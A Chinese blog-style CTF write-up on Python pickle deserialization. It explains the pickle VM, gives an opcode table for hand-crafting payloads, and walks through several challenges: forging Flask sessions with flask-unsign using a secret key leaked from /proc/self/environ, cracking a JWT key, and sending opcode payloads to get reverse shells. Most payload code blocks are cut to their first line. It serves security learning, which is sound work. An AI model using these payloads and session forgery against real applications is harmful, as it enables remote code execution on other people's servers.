pickle反序列化总结
pickle过程详细解读
- pickle解析依靠Pickle Virtual Machine (PVM)进行。
- PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
- 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.
停止。最终留在栈顶的值将被作为反序列化对象返回。 - 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
- memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以
key-value
的形式储存在memo中,以便后来使用。 - 为了便于理解,我把BH讲稿中的相关部分制成了动图,PVM解析
str
的过程动图:
- PVM解析
__reduce__()
的过程动图:
手写opcode
- 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用
__reduce__
来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。 - 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
- 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。下文中,所有opcode为版本0的opcode。
opcode | 描述 | 具体写法 | 栈上的变化 | memo 上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
此外, TRUE
可以用 I
表示: b'I01\n'
; FALSE
也可以用 I
表示: b'I00\n'
,其他opcode可以在pickle库的源代码中找到。
由这些opcode我们可以得到一些需要注意的地方:
- 编写opcode时要想象栈中的数据,以正确使用每种opcode。
- 在理解时注意与python本身的操作对照(比如python列表的
append
对应a
、extend
对应e
;字典的update
对应u
)。 c
操作符会尝试import
库,所以在pickle.loads
时不需要漏洞代码中先引入系统库。- pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c
、i
。而如何查值也是CTF的一个重要考点。 s
、u
、b
操作符可以构造并赋值原来没有的属性、键值对。
比赛题目
[Python]Unpickle
https://github.com/vulhub/vulhub/blob/master/python/unpickle
vulhub的环境,无任何过滤
1 | import pickle |
构造opcode
1 | '''cos |
由于题目回显只会取pickle.loads结果中的”username”,所以直接命令执行在这一步会报错,看不到回显,直接弹shell即可
[watevrCTF-2019]Cookie Store
buy函数会通过id来判断买了哪一个商品,从session中读取当前状态,修改后再set-cookie,我们直接随便截取一个cookie进行解码看看
1 | eyJtb25leSI6IDQ5LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIl19 |
把money修改后,直接买flag
1 | {"money": 900, "history": ["Yummy chocolate chip cookie", "flag{5b910f1a-5598-4482-80f4-a086bdffb003}\n"]} |
[watevrCTF-2019]Pickle Store
buy函数和上一题一样,但是cookie并不是简单的base64,用loads方法解码看看
1 | gAN9cQAoWAUAAABtb25leXEBTeoBWAcAAABoaXN0b3J5cQJdcQNYFQAAAFl1bW15IHN0YW5kYXJkIHBpY2tsZXEEYVgQAAAAYW50aV90YW1wZXJfaG1hY3EFWCAAAAAzNWUyYWM5ZmNlNDMzMTQ2MjAyZTlhMDNiMzE5N2Y3YXEGdS4= |
由于本题有hmac验证,所以直接改money无法通过验证,但是本题的后端一定调用了loads,所以直接写opcode反弹shell即可
[CISCN2019 华北赛区 Day1 Web2]ikun
随便注册一个用户登陆后看看jwt,发现里面含有用户名,那我们可以尝试爆破
用jwtcracker爆破出来密钥是1Kun,可以伪造admin的jwt,登录后查看提示,去购买lv6的会员,写脚本爆破lv6在180页,抓包改一改折扣就可以买下,得到/b1g_m4mber路径
注释中得到源码泄露地址/static/asd1f654e683wq/www.zip,下载后审计
1 | import tornado.web |
找到/b1g_m4mber的控制器源码,存在pickle.loads()危险函数,且参数可控,没有过滤,直接构造opcode
1 | opcode1=f'''c__builtin__ |
[HFCTF 2021 Final] easyflask
题目访问根路由提示/file?file=index.js
访问后提示Here is a js file. Source at /app/source
继续访问/file?file=/app/source
得到源码
1 | #!/usr/bin/python3.6 |
在file路由中使用path = os.path.join('static', path)
来把path和static进行拼接,而os.path.join函数中如果含有\
开头的参数,将从\
开头的参数开始,前面的参数均将失效,并且路径将从对应磁盘的根目录开始。
os.path.join(‘static’, ‘index.js’)读取的是static/index.js
os.path.join(‘static’, ‘/app/source’)读取的是/app/source
继续审计代码,发现admin路由中存在pickle.loads函数,这里应该是攻击点,结合根路由可知,session[‘u’]会被设置为User()序列化后的值,而在/admin路由中会取出u中的b,b64解码后进行反序列化,那我们就要在b这个位置写入b64后的opcode达到命令执行
本题由于需要伪造session,需要SECRET_KEY,而此处的源码并没有给出SECRET_KEY,当前程序的环境变量可以从/proc/self/environ获取, 修改file参数发现并没有对这个文件输出做限制, 直接得到SECRET_KEY
1 | KUBERNETES_SERVICE_PORT_HTTPS=443 |
拿到secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
可以手写opcode,也可以写个reduce再把User给序列化,此处一定要在linux下运行(python2和python3结果不同,但都可以打通),最后得到一串base64加密的opcode
1 | # paylaod.py |
然后利用工具伪造session
flask-unsign --sign --cookie "{'u':{'b':'$(python3 payload.py)'}}" --secret 'glzjin22948575858jfjfjufirijidjitg3uiiuuh'
或者
python3 flask_session_manager.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'$(python3 payload.py)'}}"
成功弹shell后直接拿flag
middle
1 | # app.py |
1 | # config/__init__.py |
题目直接放出源码,一道pickle反序列化题目,只能导入config模块,config种有一个后门函数可以eval,那我们就构造一下opcode直接反弹shell
1 | import base64 |
第一个mark用来和t生成元组,第二个mark用来和L生成列表,最后R执行即可